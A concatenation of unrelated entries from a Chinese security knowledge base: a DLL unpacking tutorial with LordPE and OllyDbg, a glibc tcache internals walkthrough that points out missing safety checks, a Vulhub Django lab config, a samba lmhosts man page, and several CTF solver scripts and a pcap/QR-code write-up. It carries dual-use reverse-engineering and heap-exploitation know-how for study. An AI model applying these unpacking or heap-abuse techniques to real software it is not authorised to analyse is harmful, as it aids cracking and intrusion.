因为`Dll`脱壳需要这一步骤. `Dll`脱壳的最关键的步骤在于`使用LordPE修改其Dll的标志`, 用`LordPE`打开`UnpackMe.dll`, 然后在特征值那里点击`...`, 然后取消勾选`DLL`标志, 保存后, 系统就会将该文件视作一个可执行文件.
我们将`UnpackMe.dll`后缀名改成`UnpackMe.exe`, 然后用OD载入.
一般在入口点, 程序都会保存一些信息, 这里就很简单, 只作了一个`cmp`. 要注意的一点是, 这里的`jnz`跳转直接就跳到了`unpacking`过程的末尾. 因此我们需要修改寄存器的`z`标志来使得跳转失效. 同时在`unpacking`过程的末尾设下一个断点以避免脱壳完然后直接运行.(程序会断在这个断点上, 但是脱壳已经完成, 代码都很清晰)
`Dll`脱壳的基本步骤跟`exe`文件脱壳一样, 而在重建`IAT`时, 需要照着上篇 [手动查找IAT并使用ImportREC重建](/reverse/unpack/manually-fix-iat/index.html) 所说的那样, 手动找到`IAT`表并用`ImportREC`进行重建. 只是要注意, 在脱壳完dump后, 要记得用LordPE把`DLL`标志恢复过来并将文件后缀名改为`.dll`.
|
sec-knowleage
|
### tcache概述
tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术(see [commit](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc)),目的是提升堆管理的性能。但提升性能的同时舍弃了很多安全检查,也因此有了很多新的利用方式。
> 主要参考了 glibc 源码,angelboy 的 slide 以及 tukan.farm,链接都放在最后了。
### tcache相关结构体
tcache 引入了两个新的结构体,`tcache_entry` 和 `tcache_perthread_struct`。
这其实和 fastbin 很像,但又不一样。
### tcache_entry介绍
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_entry)
```C
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
```
`tcache_entry` 用于链接空闲的 chunk 结构体,其中的 `next` 指针指向下一个大小相同的 chunk。
需要注意的是这里的 next 指向 chunk 的 user data,而 fastbin 的 fd 指向 chunk 开头的地址。
而且,tcache_entry 会复用空闲 chunk 的 user data 部分。
### tcache_perthread_struct介绍
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_perthread_struct)
```C
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
# define TCACHE_MAX_BINS 64
static __thread tcache_perthread_struct *tcache = NULL;
```
每个 thread 都会维护一个 `tcache_perthread_struct`,它是整个 tcache 的管理结构,一共有 `TCACHE_MAX_BINS` 个计数器和 `TCACHE_MAX_BINS`项 tcache_entry,其中
- `tcache_entry` 用单向链表的方式链接了相同大小的处于空闲状态(free 后)的 chunk,这一点上和 fastbin 很像。
- `counts` 记录了 `tcache_entry` 链上空闲 chunk 的数目,每条链上最多可以有 7 个 chunk。
### tcache基本工作方式
- 第一次 malloc 时,会先 malloc 一块内存用来存放 `tcache_perthread_struct` 。
- free 内存,且 size 小于 small bin size 时
- tcache 之前会放到 fastbin 或者 unsorted bin 中
- tcache 后:
- 先放到对应的 tcache 中,直到 tcache 被填满(默认是 7 个)
- tcache 被填满之后,再次 free 的内存和之前一样被放到 fastbin 或者 unsorted bin 中
- tcache 中的 chunk 不会合并(不取消 inuse bit)
- malloc 内存,且 size 在 tcache 范围内
- 先从 tcache 取 chunk,直到 tcache 为空
- tcache 为空后,从 bin 中找
- tcache 为空时,如果 `fastbin/smallbin/unsorted bin` 中有 size 符合的 chunk,会先把 `fastbin/smallbin/unsorted bin` 中的 chunk 放到 tcache 中,直到填满。之后再从 tcache 中取;因此 chunk 在 bin 中和 tcache 中的顺序会反过来
### tcache源码分析__libc_malloc
第一次 malloc 时,会进入到 `MAYBE_INIT_TCACHE ()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3010)
```C
void *
__libc_malloc (size_t bytes)
{
......
......
#if USE_TCACHE
/* int_free also calls request2size, be careful to not pad twice. */
size_t tbytes;
// 根据 malloc 传入的参数计算 chunk 实际大小,并计算 tcache 对应的下标
checked_request2size (bytes, tbytes);
size_t tc_idx = csize2tidx (tbytes);
// 初始化 tcache
MAYBE_INIT_TCACHE ();
DIAG_PUSH_NEEDS_COMMENT;
if (tc_idx < mp_.tcache_bins // 根据 size 得到的 idx 在合法的范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // tcache->entries[tc_idx] 有 chunk
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
......
......
}
```
### tcache源码分析__tcache_init()
其中 `MAYBE_INIT_TCACHE ()` 在 tcache 为空(即第一次 malloc)时调用了 `tcache_init()`,直接查看 `tcache_init()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_init)
```C
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes); // 找到可用的 arena
victim = _int_malloc (ar_ptr, bytes); // 申请一个 sizeof(tcache_perthread_struct) 大小的 chunk
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim) // 初始化 tcache
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
`tcache_init()` 成功返回后,`tcache_perthread_struct` 就被成功建立了。
### tcache源码分析申请内存
接下来将进入申请内存的步骤
```C
// 从 tcache list 中获取内存
if (tc_idx < mp_.tcache_bins // 由 size 计算的 idx 在合法范围内
/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
&& tcache
&& tcache->entries[tc_idx] != NULL) // 该条 tcache 链不为空
{
return tcache_get (tc_idx);
}
DIAG_POP_NEEDS_COMMENT;
#endif
// 进入与无 tcache 时类似的流程
if (SINGLE_THREAD_P)
{
victim = _int_malloc (&main_arena, bytes);
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
&main_arena == arena_for_chunk (mem2chunk (victim)));
return victim;
}
```
在 `tcache->entries` 不为空时,将进入 `tcache_get()` 的流程获取 chunk,否则与 tcache 机制前的流程类似,这里主要分析第一种 `tcache_get()`。这里也可以看出 tcache 的优先级很高,比 fastbin 还要高( fastbin 的申请在没进入 tcache 的流程中)。
### tcache源码分析tcache_get()
看一下 `tcache_get()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#tcache_get)
```C
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]); // 获得一个 chunk,counts 减一
return (void *) e;
}
```
`tcache_get()` 就是获得 chunk 的过程了。可以看出这个过程还是很简单的,从 `tcache->entries[tc_idx]` 中获得第一个 chunk,`tcache->counts` 减一,几乎没有任何保护。
### tcache源码分析__libc_free()
看完申请,再看看有 tcache 时的释放
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3068)
```C
void
__libc_free (void *mem)
{
......
......
MAYBE_INIT_TCACHE ();
ar_ptr = arena_for_chunk (p);
_int_free (ar_ptr, p, 0);
}
```
`__libc_free()` 没有太多变化,`MAYBE_INIT_TCACHE ()` 在 tcache 不为空失去了作用。
### tcache源码分析_int_free()
跟进 `_int_free()`
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4123)
```C
static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
......
......
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache
&& tc_idx < mp_.tcache_bins // 64
&& tcache->counts[tc_idx] < mp_.tcache_count) // 7
{
tcache_put (p, tc_idx);
return;
}
}
#endif
......
......
```
判断 `tc_idx` 合法,`tcache->counts[tc_idx]` 在 7 个以内时,就进入 `tcache_put()`,传递的两个参数是要释放的 chunk 和该 chunk 对应的 size 在 tcache 中的下标。
### tcache源码分析tcache_put()
[source code](https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#2907)
```C
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
```
`tcache_puts()` 完成了把释放的 chunk 插入到 `tcache->entries[tc_idx]` 链表头部的操作,也几乎没有任何保护。并且 **没有把 p 位置零**。
|
sec-knowleage
|
import os
import sys
from django.urls import include, path, re_path
from django.http import HttpResponse
os.environ.setdefault("DJANGO_SETTINGS_MODULE", __name__)
BASE_DIR = os.path.dirname(os.path.abspath(__file__))
DEBUG = False
SECRET_KEY = 'vulhub'
ALLOWED_HOSTS = ['*']
MIDDLEWARE = [
'django.middleware.common.CommonMiddleware',
]
ROOT_URLCONF = __name__
TEMPLATES = [{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
}]
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'console': {
'class': 'logging.StreamHandler',
},
},
'loggers': {
'django': {
'handlers': ['console'],
'level': os.getenv('DJANGO_LOG_LEVEL', 'WARNING'),
},
},
}
def home(request, path=None):
return HttpResponse('Hello, world.')
urlpatterns = [
path('', home),
re_path(r'^(.*)/$', home),
]
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
|
sec-knowleage
|
.TH LMHOSTS 5 "11 Nov 1999" "lmhosts 2.0.6"
.SH NAME
lmhosts \- samba的NetBIOS主机列表文件
.SH 总览
lmhosts是一个samba的NetBIOS名字到IP地址映射文件。
.SH 描述
此文件是samba套件的一部分。
.PP
lmhosts是一个samba的NetBIOS名字到IP地址映射文件。
它与/etc/hosts文件的格式非常相似,除了主机名部分必须符合NetBIOS名字格式。
.SH 文件格式
这是一个在一行之内包含NetBIOS名字的ASCII文件。每行有两个字段用空格互相隔开。
任何以#号开始的条目将被忽略。这个文件的每一行都包含了以下的信息:
.TP
.B IP
地址 \- 点分十进制格式。
.TP
.B NetBIOS
名字 \- 名字格式最大用十五个字符,后面可以跟以#号起头的两位十六进制值用于指出
NetBIOS名字类型。
如果后跟的#被忽略,那么所给出的IP地址将返回所有与给出的名字相匹配的机器名,而不管查找
的是何种NetBIOS名字类型。
.PP
下面有个例子:
.PP
#
.br
# Sample Samba lmhosts file\&.
.br
#
.br
192\&.9\&.200\&.1 TESTPC
.br
192\&.9\&.200\&.20 NTSERVER#20
.br
192\&.9\&.200\&.21 SAMBASERVER
.br
.PP
这里包含了三个IP地址到NetBIOS名字的映射。第一和第三个将返回名字分别为"TESTPC"和
"SAMBASERVER"的任何查询结果,而不管所需的是何种类型NetBIOS名字成份。
.PP
第二个映射将只返回当被查询的"NTSERVER"名字类型为"0x20"的值。任何其它的名字类型
将不会被解释。
.PP
lmhosts文件的默认保存位置与smb.conf文件的目录相同。
.SH 版本
此手册页是针对samba套件版本2.0的。
.SH 另见
smb.conf (5), smbclient (1), smbpasswd (8), samba (7).
.SH 作者
samba软件和相关工具最初由Andrew Tridgell
samba-bugs@samba.org创建。samba现在由开发组作为类似Linux内核开发采用的开放源代
码计划方式来发展。
.PP
samba手册页最初由Karl
Auer撰写。它的源码已被转换成YODL(一种极好的开放源代码软件,可以在
ftp://ftp.icce.rug.nl/pub/unix/处获得)格式并已由Jeremy Allison更新到samba2.0版本。
.PP
请参见samba (7)查找如何获得一份完整的维护者列表以及如何提交错误报告及注解等等。
.SH "[中文版维护人]"
.B meaculpa <meaculpa@21cn.com>
.SH "[中文版最新更新]"
.B 2000/12/08
.SH "[中国 Linux 论坛 man 手册页翻译计划]"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
import gmpy2
from crypto_commons.generic import long_to_bytes
def find_phi(e, d):
kfi = e * d - 1
k = kfi / (int(d * 3))
print('start k', k)
while True:
fi = kfi / k
try:
d0 = gmpy2.invert(e, fi)
if d == d0:
yield fi
except:
pass
finally:
k += 1
def solve_for_phi(ipmq, iqmp, possible_phi):
a = iqmp - 1
b = ipmq + iqmp - 2 - possible_phi
c = ipmq * possible_phi - possible_phi
delta = b ** 2 - 4 * a * c
if delta > 0:
r, correct = gmpy2.iroot(delta, 2)
if correct:
x1 = (-b - r) / (2 * a)
x2 = (-b + r) / (2 * a)
if gmpy2.is_prime(x1 + 1):
q = x1 + 1
p = possible_phi / x1 + 1
return p, q
elif gmpy2.is_prime(x2 + 1):
q = x2 + 1
p = possible_phi / x2 + 1
return p, q
def main():
e = 1048583
d = 20899585599499852848600179189763086698516108548228367107221738096450499101070075492197700491683249172909869748620431162381087017866603003080844372390109407618883775889949113518883655204495367156356586733638609604914325927159037673858380872827051492954190012228501796895529660404878822550757780926433386946425164501187561418082866346427628551763297010068329425460680225523270632454412376673863754258135691783420342075219153761633410012733450586771838248239221434791288928709490210661095249658730871114233033907339401132548352479119599592161475582267434069666373923164546185334225821332964035123667137917080001159691927
ipmq = 22886390627173202444468626406642274959028635116543626995297684671305848436910064602418012808595951325519844918478912090039470530649857775854959462500919029371215000179065185673136642143061689849338228110909931445119687113803523924040922470616407096745128917352037282612768345609735657018628096338779732460743
iqmp = 138356012157150927033117814862941924437637775040379746970778376921933744927520585574595823734209547857047013402623714044512594300691782086053475259157899010363944831564630625623351267412232071416191142966170634950729938561841853176635423819365023039470901382901261884795304947251115006930995163847675576699331
ct = 0x32074de818f2feeb788e36d7d3ee09f0000381584a72b2fba0dcc9a2ebe5fd79cf2d6fd40c4dbfea27d3489704f2c1a30b17a783baa67229d02043c5bc9bdb995ae984d80a96bd79370ea2c356f39f85a12d16983598c1fb772f9183441fea5dfeb5b26455df75de18ce70a6a9e9dbc0a4ca434ba94cf4d1e5347395cf7aafa756c8a5bd6fd166bc30245a4bded28f5baac38d024042a166369f7515e8b0c479a1965b5988b350064648738f6585c0a0d1463bd536d11a105bb926b44236593b5c6c71ef5b132cd9c211e8ad9131aa53ffde88f5b0df18e7c45bcdb6244edcaa8d386196d25297c259fca3be37f0f2015f40cb5423a918c51383390dfd5a8703
for potential_phi in find_phi(e, d):
res = solve_for_phi(ipmq, iqmp, potential_phi)
if res:
p, q = res
n = p * q
print(long_to_bytes(pow(ct, d, n)))
break
main()
def sanity():
from Crypto.Util.number import getPrime
e = 65537
bits = 1024
p = getPrime(bits)
q = getPrime(bits)
ipmq = gmpy2.invert(p, q)
iqmp = gmpy2.invert(q, p)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
n = p * q
X = p - 1
Y = q - 1
assert (phi == X * Y)
assert (phi == ipmq * X + ipmq + iqmp * Y + iqmp - 1 - (X + 1 + Y))
assert (phi == ipmq * (phi / Y) + ipmq + iqmp * Y + iqmp - 1 - ((phi / Y) + 1 + Y))
assert (phi * Y == ipmq * phi + ipmq * Y + iqmp * Y ** 2 + iqmp * Y - Y - (phi + Y + Y ** 2))
assert (phi * Y == Y ** 2 * (iqmp - 1) + Y * (ipmq + iqmp - 1 - 1) + ipmq * phi - phi)
assert (Y ** 2 * (iqmp - 1) + Y * (ipmq + iqmp - 2 - phi) + ipmq * phi - phi == 0)
assert ((p, q) == solve_for_phi(ipmq, iqmp, phi))
for potential_phi in find_phi(e, d):
res = solve_for_phi(ipmq, iqmp, potential_phi)
if res:
assert ((p, q) == res)
break
# sanity()
|
sec-knowleage
|
from aes import enc, dec
col = [
# (b, g, r, 0)
(0, 0, 6, 0), # RED
(0, 3, 6, 0), # ORA
(0, 6, 6, 0), # YEL
(0, 6, 0, 0), # GRE
(6, 6, 0, 0), # LBL
(6, 0, 0, 0), # DBL
(6, 0, 6, 0), # PIN
(6, 6, 6, 0), # WHI
]
key = (
"GRRR LYYW" +
"DRYY LPPD" +
"DROG YWLD" +
"GWDR DGPD" +
"OPPR GOPY" +
"YGWR DRYL" +
"GGGD WPLO" +
"YWOD DYWW" )
def conv1(s):
s = s.replace(" ", "")
s = ["ROYGLDPW".index(c) for c in s]
return s
def rot(block):
ret = []
for i in range(0, 8, 2):
for j in range(8):
ret.append(block[i + j*8])
for j in range(8)[::-1]:
ret.append(block[i + j*8 + 1])
return ret
def to_bytes(block):
ret = ""
for b in block:
ret += "{:03b}".format(b)
s = []
for i in range(24):
s.append(int(ret[i*8:i*8+8], 2))
return s
import subprocess
def check(block, chk):
p = subprocess.Popen(["other/simavr/run_avr",
"/home/adam/VirtualBoxVMs/SharedFolder/MatrixLED.ino.elf",
"-m", "atmega32u4"], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
s = "%s\n" % " ".join(str(c) for c in block)
p.stdin.write(s)
p.stdin.close()
for line in p.stdout.readlines():
if line.startswith("Res:"):
p.kill()
return line.split()[1][:16] == "".join(
("{:02x}".format(c) for c in chk))
assert False
key = to_bytes(rot(conv1(key)))
key, chk = key[:16], key[16:]
assert check(key, chk)
def decode_block(block):
data = to_bytes(rot(block))
data, chk = data[:16], data[16:]
if check(data, chk):
return [], data
for i in range(64):
if block[i] not in [1, 2]: continue
block2 = block[:]
block2[i] = 3 - block[i]
data = to_bytes(rot(block2))
data, chk = data[:16], data[16:]
if check(data, chk):
return [("at %d from %d to %d" % (i, block[i], block2[i]))], data
for i in range(64):
if block[i] not in [1, 2]: continue
block2 = block[:]
block2[i] = 3 - block[i]
for i2 in range(i):
if block[i2] not in [1, 2]: continue
block3 = block2[:]
block3[i2] = 3 - block[i2]
data = to_bytes(rot(block3))
data, chk = data[:16], data[16:]
if check(data, chk):
return [
("at %d from %d to %d" % (i, block[i], block3[i])),
("at %d from %d to %d" % (i2, block[i2], block3[i2]))
], data
return [], None
for i in range(64):
if block[i] not in [1, 2]: continue
block2 = block[:]
block2[i] = 3 - block[i]
for i2 in range(i):
if block[i2] not in [1, 2]: continue
block3 = block2[:]
block3[i2] = 3 - block[i2]
for i3 in range(i2):
if block[i3] not in [1, 2]: continue
block4 = block3[:]
block4[i3] = 3 - block[i3]
data = to_bytes(rot(block4))
data, chk = data[:16], data[16:]
if check(data, chk):
return [
("at %d from %d to %d" % (i, block[i], block4[i])),
("at %d from %d to %d" % (i2, block[i2], block4[i2])),
("at %d from %d to %d" % (i2, block[i2], block4[i3])),
], data
for i in range(64):
for j in range(8):
block2 = block[:]
block2[i] = j
data = to_bytes(rot(block2))
data, chk = data[:16], data[16:]
if check(data, chk):
return [("at %d from %d to %d" % (i, block[i], j))], data
return [], None
import ast
import sys
infile = sys.argv[1]
outfile = sys.argv[2]
nfrom = int(sys.argv[3])
nto = int(sys.argv[4])
of = open(outfile, "w")
for aa in open(infile).readlines():
line = int(aa.split()[0])
if line not in range(nfrom, nto):
continue
aa = ast.literal_eval("[" + aa.split("[")[1])
i, aa = decode_block(aa)
if aa is not None:
of.write(str(line) + " " + str(dec(aa, key)) + "\n")
if aa is None:
print line, "!!!!!!!!!!!!"
else:
print line, "OK", len(i)
|
sec-knowleage
|
# QueueR
Misc., 15 points
## Description
> I found that pcap file on the USB drive of a communist developer I know. Can you find out what he's trying to say?
>
> (p.s. there is a small fake flag in the challenge, you can just ignore it if you find it)
A network capture was provided.
## Solution
Let's take a look at the network capture:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# tshark -r QueueR.pcap --disable-protocol x11
Running as user "root" and group "root". This could be dangerous.
1 0.000000 192.168.231.142 → 34.89.220.233 TCP 74 33824 → 6010 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3238209211 TSecr=0 WS=128 33824 6010
2 0.099851 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 6010 33824
3 0.099924 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=1 Ack=1 Win=64240 Len=0 33824 6010
4 0.208842 34.89.220.233 → 192.168.231.142 TCP 505 6010 → 33824 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=451 6010 33824
5 0.208875 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=1 Ack=452 Win=63789 Len=0 33824 6010
6 0.881580 192.168.231.142 → 34.89.220.233 TCP 79 33824 → 6010 [PSH, ACK] Seq=1 Ack=452 Win=63789 Len=25 33824 6010
7 0.881854 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [ACK] Seq=452 Ack=26 Win=64240 Len=0 6010 33824
8 0.968644 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [PSH, ACK] Seq=452 Ack=26 Win=64240 Len=5 6010 33824
9 25.865046 34.89.220.233 → 192.168.231.142 TCP 498 [TCP ACKed unseen segment] [TCP Previous segment not captured] 6010 → 33824 [PSH, ACK] Seq=11633 Ack=564 Win=64240 Len=444 6010 33824
10 25.865104 192.168.231.142 → 34.89.220.233 TCP 54 [TCP ACKed unseen segment] [TCP Previous segment not captured] 33824 → 6010 [ACK] Seq=564 Ack=12077 Win=63789 Len=0 33824 6010
11 26.594547 192.168.231.142 → 34.89.220.233 TCP 74 33824 → 6010 [PSH, ACK] Seq=564 Ack=12077 Win=63789 Len=20 33824 6010
12 26.594969 34.89.220.233 → 192.168.231.142 TCP 60 [TCP ACKed unseen segment] 6010 → 33824 [ACK] Seq=12077 Ack=584 Win=64240 Len=0 6010 33824
13 26.697453 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [PSH, ACK] Seq=12077 Ack=584 Win=64240 Len=5 6010 33824
14 26.697492 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=584 Ack=12082 Win=63789 Len=0 33824 6010
15 26.848374 34.89.220.233 → 192.168.231.142 TCP 493 6010 → 33824 [PSH, ACK] Seq=12082 Ack=584 Win=64240 Len=439 6010 33824
16 27.566056 192.168.231.142 → 34.89.220.233 TCP 79 33824 → 6010 [PSH, ACK] Seq=584 Ack=12521 Win=63789 Len=25 33824 6010
17 27.566149 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [ACK] Seq=12521 Ack=609 Win=64240 Len=0 6010 33824
18 27.827863 34.89.220.233 → 192.168.231.142 TCP 489 [TCP Previous segment not captured] 6010 → 33824 [PSH, ACK] Seq=12526 Ack=609 Win=64240 Len=435 6010 33824
19 28.573485 192.168.231.142 → 34.89.220.233 TCP 74 [TCP ACKed unseen segment] 33824 → 6010 [PSH, ACK] Seq=609 Ack=12961 Win=63789 Len=20 33824 6010
20 28.573624 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [ACK] Seq=12961 Ack=629 Win=64240 Len=0 6010 33824
21 28.689991 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [PSH, ACK] Seq=12961 Ack=629 Win=64240 Len=5 6010 33824
22 28.690024 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=629 Ack=12966 Win=63789 Len=0 33824 6010
23 29.540499 192.168.231.142 → 34.89.220.233 TCP 63 [TCP ACKed unseen segment] 33824 → 6010 [PSH, ACK] Seq=629 Ack=13393 Win=63789 Len=9 33824 6010
24 29.540865 34.89.220.233 → 192.168.231.142 TCP 60 [TCP Previous segment not captured] 6010 → 33824 [ACK] Seq=13393 Ack=638 Win=64240 Len=0 6010 33824
25 29.642849 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [PSH, ACK] Seq=13393 Ack=638 Win=64240 Len=5 6010 33824
26 29.642882 192.168.231.142 → 34.89.220.233 TCP 54 [TCP ACKed unseen segment] 33824 → 6010 [ACK] Seq=638 Ack=13398 Win=63789 Len=0 33824 6010
27 29.643591 34.89.220.233 → 192.168.231.142 TCP 80 6010 → 33824 [FIN, PSH, ACK] Seq=13398 Ack=638 Win=64240 Len=26 6010 33824
28 29.643748 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [FIN, ACK] Seq=638 Ack=13425 Win=63789 Len=0 33824 6010
29 29.643828 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [ACK] Seq=13425 Ack=639 Win=64239 Len=0 6010 33824
```
We can see a short session between two IPs, let's follow the TCP stream:
```console
root@kali:/media/sf_CTFs/kaf/QueueR# tshark -r QueueR.pcap -z follow,tcp,ascii,0
Follow: tcp,ascii
Filter: tcp.stream eq 0
Node 0: 192.168.231.142:33824
Node 1: 34.89.220.233:6010
451
.PNG
.
.(=.$.lB.f.Tk......J....|UxB........RJ).T...a!..D.PV.]u..r$.......I....u..
.eeV..i....P..S$?....\}...cv.p....0....Mj....lw. ...t..Z{...=...n.G...u....L...6.V.mSO....j.U.9.PO=.}...RJ)..'Q..&..........IEND.B`....T.>.i..f^K......0...............J..X|a9.RGs.
25
TCP/IP Illustrated Vol. 1
5
Good!
38
[11176 bytes missing in capture file].
444
.PNG
.
r.|.......*.e$....&..vC 0^..=._.{<|a...^...SN9..S[.l\....y..Uu..j%I=....QI.tK=^.!.<z\.`.......L..J.......o...<u...x\j.}- .R.....][U....W*.h.J..Ti%.........=.......~...2..H...X.b+..75..J.S.QW...=gy....... .J.....vU...]P..I.P..<.|.5.....E.....=S?sL./.t:.....t..2k.....J.7.k..]...`....6.:[U...].Y.{(.....R..F9..SN.....2.fa.XI....IEND.B`.
36
[538 bytes missing in capture file].
20
Hacking, 2nd Edition
5
Good!
439
.PNG
.
IHDR..."...".....u......~IDATx...M..0....g..;...n...od....!.d.3.......'..j.m...#.....
}.YR;.o....M.%&..=.....j.?.U.gS5.t..k.........Y..1b.r........?..{.MW.%.1.G..Fmr...b.t...=..9kS.&g.]....V...?.bS...@.;..ipT....}L......1...R..ku...4..O.....l.9..Z\^4)z.=.g....
.c.I..4HZ_........R...TPA.u....0...f......IEND.B`.
25
Practical Binary Analysis
34
[5 bytes missing in capture file].
435
.PNG
.
IHDR..."...".....u......zIDATx...An.0.E......=J.f..p.. ,..~.I........{...I|9&......{....r.)..NY.....4......AEIR..W...I.n...:.5.9.......u..j~..-......_.}&....x\..}+`..h.\7][U...7.Z.....e...vM.........g...#P.R2j*~...DL..y.._.*.....DL!/.<..P...~LA:.j.{......(.M.T.Ci>....m...!......c.4U.=Qf
..}...}S5.........SWsL..>7Xk.:.5.1..<H.........aoG#&(...t....!wa..+S.x^G........ .....%..:....I.......3...)..r..G..............IEND.B`.
20
Serious Cryptography
5
Good!
9
Reversing
36
[427 bytes missing in capture file].
5
Good!
26
KAF{n07_7h47_345y_c0mr4d3}
===================================================================
```
Apart from the fake flag, we can see several PNG files and titles of books. Let's try to extract the PNG files:
```console
root@kali:/media/sf_CTFs/kaf/QueueR/temp# foremost ../QueueR.pcap
Processing: ../QueueR.pcap
|*|
root@kali:/media/sf_CTFs/kaf/QueueR/temp# cd output/
root@kali:/media/sf_CTFs/kaf/QueueR/temp/output# ls
audit.txt png
root@kali:/media/sf_CTFs/kaf/QueueR/temp/output# cd png
root@kali:/media/sf_CTFs/kaf/QueueR/temp/output/png# ls
00000000.png 00000002.png 00000004.png 00000005.png
```
We got four files, which upon inspection seem to be QR codes:
```console
root@kali:/media/sf_CTFs/kaf/QueueR/temp/output/png# zbarimg *
QR-Code:9780201633467
QR-Code:9781593271442
QR-Code:9781593279127
QR-Code:9781593278267
scanned 4 barcode symbols from 4 images in 0.11 seconds
```
Searching for these numbers, they seem to represent [ISBN Codes](https://en.wikipedia.org/wiki/International_Standard_Book_Number):
```console
root@kali:/media/sf_CTFs/kaf/QueueR/temp/output/png# for isbn in `zbarimg *.png -q | sed 's/^QR-Code:\(.*\)$/\1/'`; do echo $isbn; curl -s https://api.altmetric.com/v1/isbn/$isbn | python -m json.tool | grep title; echo "--"; done
9780201633467
"title": "TCP/IP illustrated",
--
9781593271442
"title": "Hacking: The Art of Exploitation",
--
9781593279127
No JSON object could be decoded
--
9781593278267
"title": "Serious Cryptography",
--
```
Let's further inspect the session between the two IPs. We'll dive into the following section as an example:
```
1 0.000000 192.168.231.142 → 34.89.220.233 TCP 74 33824 → 6010 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK_PERM=1 TSval=3238209211 TSecr=0 WS=128 33824 6010
2 0.099851 34.89.220.233 → 192.168.231.142 TCP 60 6010 → 33824 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460 6010 33824
3 0.099924 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=1 Ack=1 Win=64240 Len=0 33824 6010
4 0.208842 34.89.220.233 → 192.168.231.142 TCP 505 6010 → 33824 [PSH, ACK] Seq=1 Ack=1 Win=64240 Len=451 6010 33824
5 0.208875 192.168.231.142 → 34.89.220.233 TCP 54 33824 → 6010 [ACK] Seq=1 Ack=452 Win=63789 Len=0 33824 6010
6 0.881580 192.168.231.142 → 34.89.220.233 TCP 79 33824 → 6010 [PSH, ACK] Seq=1 Ack=452 Win=63789 Len=25 33824 6010
